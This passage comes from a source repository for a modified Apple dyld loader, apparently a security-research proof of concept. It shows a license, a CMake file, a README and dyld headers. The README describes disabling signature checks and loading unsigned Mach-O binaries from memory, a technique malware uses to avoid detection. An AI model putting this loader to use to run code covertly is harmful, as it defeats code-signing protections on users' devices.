so only on Your own behalf and as Your sole 174 | responsibility, and not on behalf of Apple or any Contributor. You 175 | must obtain the recipient's agreement that any such Additional Terms 176 | are offered by You alone, and You hereby agree to indemnify, defend 177 | and hold Apple and every Contributor harmless for any liability 178 | incurred by or claims asserted against Apple or such Contributor by 179 | reason of any such Additional Terms. 180 | 181 | 7. Versions of the License. Apple may publish revised and/or new 182 | versions of this License from time to time. Each version will be given 183 | a distinguishing version number. Once Original Code has been published 184 | under a particular version of this License, You may continue to use it 185 | under the terms of that version. You may also choose to use such 186 | Original Code under the terms of any subsequent version of this 187 | License published by Apple. No one other than Apple has the right to 188 | modify the terms applicable to Covered Code created under this 189 | License. 190 | 191 | 8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in 192 | part pre-release, untested, or not fully tested works. The Covered 193 | Code may contain errors that could cause failures or loss of data, and 194 | may be incomplete or contain inaccuracies. You expressly acknowledge 195 | and agree that use of the Covered Code, or any portion thereof, is at 196 | Your sole and entire risk. THE COVERED CODE IS PROVIDED "AS IS" AND 197 | WITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND 198 | APPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS "APPLE" FOR THE 199 | PURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM 200 | ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT 201 | NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF 202 | MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR 203 | PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD 204 | PARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST 205 | INTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE 206 | FUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS, 207 | THAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR 208 | ERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO 209 | ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE 210 | AUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY. 211 | You acknowledge that the Covered Code is not intended for use in the 212 | operation of nuclear facilities, aircraft navigation, communication 213 | systems, or air traffic control machines in which case the failure of 214 | the Covered Code could lead to death, personal injury, or severe 215 | physical or environmental damage. 216 | 217 | 9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO 218 | EVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL, 219 | SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING 220 | TO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR 221 | ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY, 222 | TORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF 223 | APPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH 224 | DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY 225 | REMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF 226 | INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY 227 | TO YOU. In no event shall Apple's total liability to You for all 228 | damages (other than as may be required by applicable law) under this 229 | License exceed the amount of fifty dollars ($50.00). 230 | 231 | 10. Trademarks. This License does not grant any rights to use the 232 | trademarks or trade names "Apple", "Apple Computer", "Mac", "Mac OS", 233 | "QuickTime", "QuickTime Streaming Server" or any other trademarks, 234 | service marks, logos or trade names belonging to Apple (collectively 235 | "Apple Marks") or to any trademark, service mark, logo or trade name 236 | belonging to any Contributor. You agree not to use any Apple Marks in 237 | or as part of the name of products derived from the Original Code or 238 | to endorse or promote products derived from the Original Code other 239 | than as expressly permitted by and in strict compliance at all times 240 | with Apple's third party trademark usage guidelines which are posted 241 | at http://www.apple.com/legal/guidelinesfor3rdparties.html. 242 | 243 | 11. Ownership. Subject to the licenses granted under this License, 244 | each Contributor retains all rights, title and interest in and to any 245 | Modifications made by such Contributor. Apple retains all rights, 246 | title and interest in and to the Original Code and any Modifications 247 | made by or on behalf of Apple ("Apple Modifications"), and such Apple 248 | Modifications will not be automatically subject to this License. Apple 249 | may, at its sole discretion, choose to license such Apple 250 | Modifications under this License, or on different terms from those 251 | contained in this License or may choose not to license them at all. 252 | 253 | 12. Termination. 254 | 255 | 12.1 Termination. This License and the rights granted hereunder will 256 | terminate: 257 | 258 | (a) automatically without notice from Apple if You fail to comply with 259 | any term(s) of this License and fail to cure such breach within 30 260 | days of becoming aware of such breach; 261 | 262 | (b) immediately in the event of the circumstances described in Section 263 | 13.5(b); or 264 | 265 | (c) automatically without notice from Apple if You, at any time during 266 | the term of this License, commence an action for patent infringement 267 | against Apple; provided that Apple did not first commence 268 | an action for patent infringement against You in that instance. 269 | 270 | 12.2 Effect of Termination. Upon termination, You agree to immediately 271 | stop any further use, reproduction, modification, sublicensing and 272 | distribution of the Covered Code. All sublicenses to the Covered Code 273 | which have been properly granted prior to termination shall survive 274 | any termination of this License. Provisions which, by their nature, 275 | should remain in effect beyond the termination of this License shall 276 | survive, including but not limited to Sections 3, 5, 8, 9, 10, 11, 277 | 12.2 and 13. No party will be liable to any other for compensation, 278 | indemnity or damages of any sort solely as a result of terminating 279 | this License in accordance with its terms, and termination of this 280 | License will be without prejudice to any other right or remedy of 281 | any party. 282 | 283 | 13. Miscellaneous. 284 | 285 | 13.1 Government End Users. The Covered Code is a "commercial item" as 286 | defined in FAR 2.101. Government software and technical data rights in 287 | the Covered Code include only those rights customarily provided to the 288 | public as defined in this License. This customary commercial license 289 | in technical data and software is provided in accordance with FAR 290 | 12.211 (Technical Data) and 12.212 (Computer Software) and, for 291 | Department of Defense purchases, DFAR 252.227-7015 (Technical Data -- 292 | Commercial Items) and 227.7202-3 (Rights in Commercial Computer 293 | Software or Computer Software Documentation). Accordingly, all U.S. 294 | Government End Users acquire Covered Code with only those rights set 295 | forth herein. 296 | 297 | 13.2 Relationship of Parties. This License will not be construed as 298 | creating an agency, partnership, joint venture or any other form of 299 | legal association between or among You, Apple or any Contributor, and 300 | You will not represent to the contrary, whether expressly, by 301 | implication, appearance or otherwise. 302 | 303 | 13.3 Independent Development. Nothing in this License will impair 304 | Apple's right to acquire, license, develop, have others develop for 305 | it, market and/or distribute technology or products that perform the 306 | same or similar functions as, or otherwise compete with, 307 | Modifications, Larger Works, technology or products that You may 308 | develop, produce, market or distribute. 309 | 310 | 13.4 Waiver; Construction. Failure by Apple or any Contributor to 311 | enforce any provision of this License will not be deemed a waiver of 312 | future enforcement of that or any other provision. Any law or 313 | regulation which provides that the language of a contract shall be 314 | construed against the drafter will not apply to this License. 315 | 316 | 13.5 Severability. (a) If for any reason a court of competent 317 | jurisdiction finds any provision of this License, or portion thereof, 318 | to be unenforceable, that provision of the License will be enforced to 319 | the maximum extent permissible so as to effect the economic benefits 320 | and intent of the parties, and the remainder of this License will 321 | continue in full force and effect. (b) Notwithstanding the foregoing, 322 | if applicable law prohibits or restricts You from fully and/or 323 | specifically complying with Sections 2 and/or 3 or prevents the 324 | enforceability of either of those Sections, this License will 325 | immediately terminate and You must immediately discontinue any use of 326 | the Covered Code and destroy all copies of it that are in your 327 | possession or control. 328 | 329 | 13.6 Dispute Resolution. Any litigation or other dispute resolution 330 | between You and Apple relating to this License shall take place in the 331 | Northern District of California, and You and Apple hereby consent to 332 | the personal jurisdiction of, and venue in, the state and federal 333 | courts within that District with respect to this License. The 334 | application of the United Nations Convention on Contracts for the 335 | International Sale of Goods is expressly excluded. 336 | 337 | 13.7 Entire Agreement; Governing Law. This License constitutes the 338 | entire agreement between the parties with respect to the subject 339 | matter hereof. This License shall be governed by the laws of the 340 | United States and the State of California, except that body of 341 | California law concerning conflicts of law. 342 | 343 | Where You are located in the province of Quebec, Canada, the following 344 | clause applies: The parties hereby confirm that they have requested 345 | that this License and all related documents be drafted in English. Les 346 | parties ont exige que le present contrat et tous les documents 347 | connexes soient rediges en anglais. 348 | 349 | EXHIBIT A. 350 | 351 | "Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights 352 | Reserved. 353 | 354 | This file contains Original Code and/or Modifications of Original Code 355 | as defined in and that are subject to the Apple Public Source License 356 | Version 2.0 (the 'License'). You may not use this file except in 357 | compliance with the License. Please obtain a copy of the License at 358 | http://www.opensource.apple.com/apsl/ and read it before using this 359 | file. 360 | 361 | The Original Code and all software distributed under the License are 362 | distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 363 | EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 364 | INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 365 | FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 366 | Please see the License for the specific language governing rights and 367 | limitations under the License." 368 | -------------------------------------------------------------------------------- /loader/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.2) 2 | 3 | project(loader C CXX) 4 | set(CMAKE_CXX_STANDARD 11) 5 | 6 | set(TARGET loader) 7 | 8 | FILE(GLOB SRC src/*.cpp) 9 | FILE(GLOB HDR include/*.h src/*.h) 10 | 11 | add_library(${TARGET} STATIC ${SRC} ${HDR}) 12 | target_include_directories(${TARGET} PUBLIC "include") 13 | set_target_properties(${TARGET} PROPERTIES PUBLIC_HEADER include/custom_dlfcn.h) 14 | target_compile_definitions(${TARGET} PRIVATE UNSIGN_TOLERANT=1) 15 | 16 | install(TARGETS loader) 17 | -------------------------------------------------------------------------------- /loader/README.md: -------------------------------------------------------------------------------- 1 | ### https://github.com/octoml/macho-dyld 2 | ### (PW) Modified to support in-memory loading 3 | 4 | ### NOTE: Build this via cmake 5 | ### % cd loader/build 6 | ### % cmake .. 7 | ### % make 8 | 9 | ### ...this will create library in build/ that the PoC links against. 10 | 11 | ## Custom Mach-O Image Loader. Tolerant to unsigned modules. 12 | 13 | ### Purpose of this module 14 | This is a simplified version of dynamic linker inherited from original Apple sources. 15 | The key difference is in a switched off signature check for loaded binaries. iOS platform 16 | doesn't provide mechanic to load unsigned binary, but you may need it for some developer 17 | purposes like benchmarking/testing code with real device. Using of this linker version 18 | let you get around this limitation. 19 | 20 | This library exposes next symbols: 21 | - custom_dlopen 22 | - custom_dlclose 23 | - custom_dlsym 24 | - custom_dlerror 25 | 26 | Use it instead of original Posix version. 27 | 28 | ### Known limitations 29 | - Load only by absolute path 30 | - There is no recurrent dependencies loading (all required modules should be 31 | preloaded in process before) 32 | - Works only on system with enabled JIT permissions. Ex: iOS under debugger. 33 | - Only RTLD_LAZY mode is supported 34 | 35 | ### Borrowed files 36 | - ImageLoader.h 37 | - ImageLoader.cpp 38 | - ImageLoaderMachO.h 39 | - ImageLoaderMachO.cpp 40 | - ImageLoaderMachOCompressed.h 41 | - ImageLoaderMachOCompressed.cpp 42 | 43 | All specific changes of original Apple code are under conditional compilation with 44 | `#if UNSIGN_TOLERANT` macros. All classes are moved into namespace "isolator" 45 | to avoid intersection with original symbols from libdyld. 46 | 47 | The file `dyld_stubs.cpp` contains some utils and other stub functions to make this code 48 | compilable. Most of them has no implementation, just for signature compatibility. 49 | 50 | ### Link to original sources 51 | https://opensource.apple.com/source/dyld/dyld-832.7.3 52 | 53 | ### Licence 54 | All source files and implementations are provided under an [Apple Public Source License][APSL]. 55 | API header file is provided under [Apache License v2][ALv2]. 56 | 57 | [APSL]: https://opensource.apple.com/license/apsl 58 | [ALv2]: https://www.apache.org/licenses/LICENSE-2.0 59 | -------------------------------------------------------------------------------- /loader/build/libloader.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwardle/ReflectiveLoader/676d1baca3db7f88817e47db457c5aaa58a867b5/loader/build/libloader.a -------------------------------------------------------------------------------- /loader/include/custom_dlfcn.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | 20 | #ifndef __CUSTOM_DLFCN__ 21 | #define __CUSTOM_DLFCN__ 22 | 23 | #include 24 | 25 | #ifdef __cplusplus 26 | extern "C" { 27 | #endif 28 | 29 | extern int custom_dlclose(void* __handle); 30 | extern char* custom_dlerror(void); 31 | extern void* custom_dlopen(const char* __path, int __mode); 32 | extern void* custom_dlsym(void* __handle, const char* __symbol); 33 | extern void* custom_dlopen_from_memory(void* mh, int len); 34 | 35 | #ifdef __cplusplus 36 | } 37 | #endif 38 | 39 | #endif // __CUSTOM_DLFCN__ 40 | -------------------------------------------------------------------------------- /loader/include/mach-o/dyld-interposing.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2005-2008 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. Please obtain a copy of the License at 10 | * http://www.opensource.apple.com/apsl/ and read it before using this 11 | * file. 12 | * 13 | * The Original Code and all software distributed under the License are 14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 18 | * Please see the License for the specific language governing rights and 19 | * limitations under the License. 20 | * 21 | * @APPLE_LICENSE_HEADER_END@ 22 | */ 23 | 24 | #if !defined(_DYLD_INTERPOSING_H_) 25 | #define _DYLD_INTERPOSING_H_ 26 | 27 | /* 28 | * Example: 29 | * 30 | * static 31 | * int 32 | * my_open(const char* path, int flags, mode_t mode) 33 | * { 34 | * int value; 35 | * // do stuff before open (including changing the arguments) 36 | * value = open(path, flags, mode); 37 | * // do stuff after open (including changing the return value(s)) 38 | * return value; 39 | * } 40 | * DYLD_INTERPOSE(my_open, open) 41 | */ 42 | 43 | #define DYLD_INTERPOSE(_replacement,_replacee) \ 44 | __attribute__((used)) static struct{ const void* replacement; const void* replacee; } _interpose_##_replacee \ 45 | __attribute__ ((section ("__DATA,__interpose"))) = { (const void*)(unsigned long)&_replacement, (const void*)(unsigned long)&_replacee }; 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /loader/include/mach-o/dyld.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1999-2008 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. Please obtain a copy of the License at 10 | * http://www.opensource.apple.com/apsl/ and read it before using this 11 | * file. 12 | * 13 | * The Original Code and all software distributed under the License are 14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 18 | * Please see the License for the specific language governing rights and 19 | * limitations under the License. 20 | * 21 | * @APPLE_LICENSE_HEADER_END@ 22 | */ 23 | #ifndef _MACH_O_DYLD_H_ 24 | #define _MACH_O_DYLD_H_ 25 | 26 | 27 | #include 28 | #include 29 | #include 30 | 31 | #include 32 | #include 33 | 34 | #if __cplusplus 35 | extern "C" { 36 | #endif 37 | 38 | #ifdef __DRIVERKIT_19_0 39 | #define DYLD_DRIVERKIT_UNAVAILABLE __API_UNAVAILABLE(driverkit) 40 | #else 41 | #define DYLD_DRIVERKIT_UNAVAILABLE 42 | #endif 43 | 44 | /* 45 | * The following functions allow you to iterate through all loaded images. 46 | * This is not a thread safe operation. Another thread can add or remove 47 | * an image during the iteration. 48 | * 49 | * Many uses of these routines can be replace by a call to dladdr() which 50 | * will return the mach_header and name of an image, given an address in 51 | * the image. dladdr() is thread safe. 52 | */ 53 | extern uint32_t _dyld_image_count(void) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 54 | extern const struct mach_header* _dyld_get_image_header(uint32_t image_index) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 55 | extern intptr_t _dyld_get_image_vmaddr_slide(uint32_t image_index) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 56 | extern const char* _dyld_get_image_name(uint32_t image_index) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 57 | 58 | 59 | /* 60 | * The following functions allow you to install callbacks which will be called 61 | * by dyld whenever an image is loaded or unloaded. During a call to _dyld_register_func_for_add_image() 62 | * the callback func is called for every existing image. Later, it is called as each new image 63 | * is loaded and bound (but initializers not yet run). The callback registered with 64 | * _dyld_register_func_for_remove_image() is called after any terminators in an image are run 65 | * and before the image is un-memory-mapped. 66 | */ 67 | extern void _dyld_register_func_for_add_image(void (*func)(const struct mach_header* mh, intptr_t vmaddr_slide)) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 68 | extern void _dyld_register_func_for_remove_image(void (*func)(const struct mach_header* mh, intptr_t vmaddr_slide)) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 69 | 70 | 71 | /* 72 | * NSVersionOfRunTimeLibrary() returns the current_version number of the currently dylib 73 | * specifed by the libraryName. The libraryName parameter would be "bar" for /path/libbar.3.dylib and 74 | * "Foo" for /path/Foo.framework/Versions/A/Foo. It returns -1 if no such library is loaded. 75 | */ 76 | extern int32_t NSVersionOfRunTimeLibrary(const char* libraryName) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 77 | 78 | 79 | /* 80 | * NSVersionOfLinkTimeLibrary() returns the current_version number that the main executable was linked 81 | * against at build time. The libraryName parameter would be "bar" for /path/libbar.3.dylib and 82 | * "Foo" for /path/Foo.framework/Versions/A/Foo. It returns -1 if the main executable did not link 83 | * against the specified library. 84 | */ 85 | extern int32_t NSVersionOfLinkTimeLibrary(const char* libraryName) __OSX_AVAILABLE_STARTING(__MAC_10_1, __IPHONE_2_0); 86 | 87 | 88 | /* 89 | * _NSGetExecutablePath() copies the path of the main executable into the buffer. The bufsize parameter 90 | * should initially be the size of the buffer. The function returns 0 if the path was successfully copied, 91 | * and *bufsize is left unchanged. It returns -1 if the buffer is not large enough, and *bufsize is set 92 | * to the size required. 93 | * 94 | * Note that _NSGetExecutablePath will return "a path" to the executable not a "real path" to the executable. 95 | * That is the path may be a symbolic link and not the real file. With deep directories the total bufsize 96 | * needed could be more than MAXPATHLEN. 97 | */ 98 | extern int _NSGetExecutablePath(char* buf, uint32_t* bufsize) __OSX_AVAILABLE_STARTING(__MAC_10_2, __IPHONE_2_0); 99 | 100 | 101 | 102 | /* 103 | * Registers a function to be called when the current thread terminates. 104 | * Called by c++ compiler to implement destructors on thread_local object variables. 105 | */ 106 | extern void _tlv_atexit(void (*termFunc)(void* objAddr), void* objAddr) __OSX_AVAILABLE_STARTING(__MAC_10_10, __IPHONE_8_0); 107 | 108 | 109 | /* 110 | * Never called. On-disk thread local variables contain a pointer to this. Once 111 | * the thread local is prepared, the pointer changes to a real handler such as tlv_get_addr. 112 | */ 113 | extern void _tlv_bootstrap(void) __OSX_AVAILABLE_STARTING(__MAC_10_10, __IPHONE_8_0) DYLD_DRIVERKIT_UNAVAILABLE ; 114 | 115 | 116 | /* 117 | * Dylibs that are incorporated into the dyld cache are removed from disk. That means code 118 | * cannot stat() the file to see if it "exists". This function is like a stat() call that checks if a 119 | * path is to a dylib that was removed from disk and is incorporated into the active dyld cache. 120 | */ 121 | extern bool _dyld_shared_cache_contains_path(const char* path) __API_AVAILABLE(macos(11.0), ios(14.0), watchos(7.0), tvos(14.0)) DYLD_DRIVERKIT_UNAVAILABLE; 122 | 123 | 124 | /* 125 | * The following dyld API's are deprecated as of Mac OS X 10.5. They are either 126 | * no longer necessary or are superceeded by dlopen and friends in . 127 | * dlopen/dlsym/dlclose have been available since Mac OS X 10.3 and work with 128 | * dylibs and bundles. 129 | * 130 | * NSAddImage -> dlopen 131 | * NSLookupSymbolInImage -> dlsym 132 | * NSCreateObjectFileImageFromFile -> dlopen 133 | * NSDestroyObjectFileImage -> dlclose 134 | * NSLinkModule -> not needed when dlopen used 135 | * NSUnLinkModule -> not needed when dlclose used 136 | * NSLookupSymbolInModule -> dlsym 137 | * _dyld_image_containing_address -> dladdr 138 | * NSLinkEditError -> dlerror 139 | * 140 | */ 141 | 142 | #ifndef ENUM_DYLD_BOOL 143 | #define ENUM_DYLD_BOOL 144 | #undef FALSE 145 | #undef TRUE 146 | enum DYLD_BOOL { FALSE, TRUE }; 147 | #endif /* ENUM_DYLD_BOOL */ 148 | 149 | 150 | /* Object file image API */ 151 | typedef enum { 152 | NSObjectFileImageFailure, /* for this a message is printed on stderr */ 153 | NSObjectFileImageSuccess, 154 | NSObjectFileImageInappropriateFile, 155 | NSObjectFileImageArch, 156 | NSObjectFileImageFormat, /* for this a message is printed on stderr */ 157 | NSObjectFileImageAccess 158 | } NSObjectFileImageReturnCode; 159 | 160 | typedef struct __NSObjectFileImage* NSObjectFileImage; 161 | 162 | 163 | 164 | /* NSObjectFileImage can only be used with MH_BUNDLE files */ 165 | extern NSObjectFileImageReturnCode NSCreateObjectFileImageFromFile(const char* pathName, NSObjectFileImage *objectFileImage) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlopen()"); 166 | extern NSObjectFileImageReturnCode NSCreateObjectFileImageFromMemory(const void *address, size_t size, NSObjectFileImage *objectFileImage) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 167 | extern bool NSDestroyObjectFileImage(NSObjectFileImage objectFileImage) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlclose()"); 168 | 169 | extern uint32_t NSSymbolDefinitionCountInObjectFileImage(NSObjectFileImage objectFileImage) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 170 | extern const char* NSSymbolDefinitionNameInObjectFileImage(NSObjectFileImage objectFileImage, uint32_t ordinal) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 171 | extern uint32_t NSSymbolReferenceCountInObjectFileImage(NSObjectFileImage objectFileImage) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 172 | extern const char* NSSymbolReferenceNameInObjectFileImage(NSObjectFileImage objectFileImage, uint32_t ordinal, bool *tentative_definition) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 173 | extern bool NSIsSymbolDefinedInObjectFileImage(NSObjectFileImage objectFileImage, const char* symbolName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 174 | extern void* NSGetSectionDataInObjectFileImage(NSObjectFileImage objectFileImage, const char* segmentName, const char* sectionName, size_t *size) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "getsectiondata()"); 175 | 176 | typedef struct __NSModule* NSModule; 177 | extern const char* NSNameOfModule(NSModule m) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 178 | extern const char* NSLibraryNameForModule(NSModule m) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 179 | 180 | extern NSModule NSLinkModule(NSObjectFileImage objectFileImage, const char* moduleName, uint32_t options) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlopen()"); 181 | #define NSLINKMODULE_OPTION_NONE 0x0 182 | #define NSLINKMODULE_OPTION_BINDNOW 0x1 183 | #define NSLINKMODULE_OPTION_PRIVATE 0x2 184 | #define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4 185 | #define NSLINKMODULE_OPTION_DONT_CALL_MOD_INIT_ROUTINES 0x8 186 | #define NSLINKMODULE_OPTION_TRAILING_PHYS_NAME 0x10 187 | 188 | extern bool NSUnLinkModule(NSModule module, uint32_t options) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 189 | #define NSUNLINKMODULE_OPTION_NONE 0x0 190 | #define NSUNLINKMODULE_OPTION_KEEP_MEMORY_MAPPED 0x1 191 | #define NSUNLINKMODULE_OPTION_RESET_LAZY_REFERENCES 0x2 192 | 193 | /* symbol API */ 194 | typedef struct __NSSymbol* NSSymbol; 195 | extern bool NSIsSymbolNameDefined(const char* symbolName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 196 | extern bool NSIsSymbolNameDefinedWithHint(const char* symbolName, const char* libraryNameHint) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 197 | extern bool NSIsSymbolNameDefinedInImage(const struct mach_header* image, const char* symbolName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 198 | extern NSSymbol NSLookupAndBindSymbol(const char* symbolName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 199 | extern NSSymbol NSLookupAndBindSymbolWithHint(const char* symbolName, const char* libraryNameHint) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 200 | extern NSSymbol NSLookupSymbolInModule(NSModule module, const char* symbolName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlsym()"); 201 | extern NSSymbol NSLookupSymbolInImage(const struct mach_header* image, const char* symbolName, uint32_t options) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlsym()"); 202 | #define NSLOOKUPSYMBOLINIMAGE_OPTION_BIND 0x0 203 | #define NSLOOKUPSYMBOLINIMAGE_OPTION_BIND_NOW 0x1 204 | #define NSLOOKUPSYMBOLINIMAGE_OPTION_BIND_FULLY 0x2 205 | #define NSLOOKUPSYMBOLINIMAGE_OPTION_RETURN_ON_ERROR 0x4 206 | extern const char* NSNameOfSymbol(NSSymbol symbol) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 207 | extern void * NSAddressOfSymbol(NSSymbol symbol) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlsym()"); 208 | extern NSModule NSModuleForSymbol(NSSymbol symbol) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dladdr()"); 209 | 210 | /* error handling API */ 211 | typedef enum { 212 | NSLinkEditFileAccessError, 213 | NSLinkEditFileFormatError, 214 | NSLinkEditMachResourceError, 215 | NSLinkEditUnixResourceError, 216 | NSLinkEditOtherError, 217 | NSLinkEditWarningError, 218 | NSLinkEditMultiplyDefinedError, 219 | NSLinkEditUndefinedError 220 | } NSLinkEditErrors; 221 | 222 | /* 223 | * For the NSLinkEditErrors value NSLinkEditOtherError these are the values 224 | * passed to the link 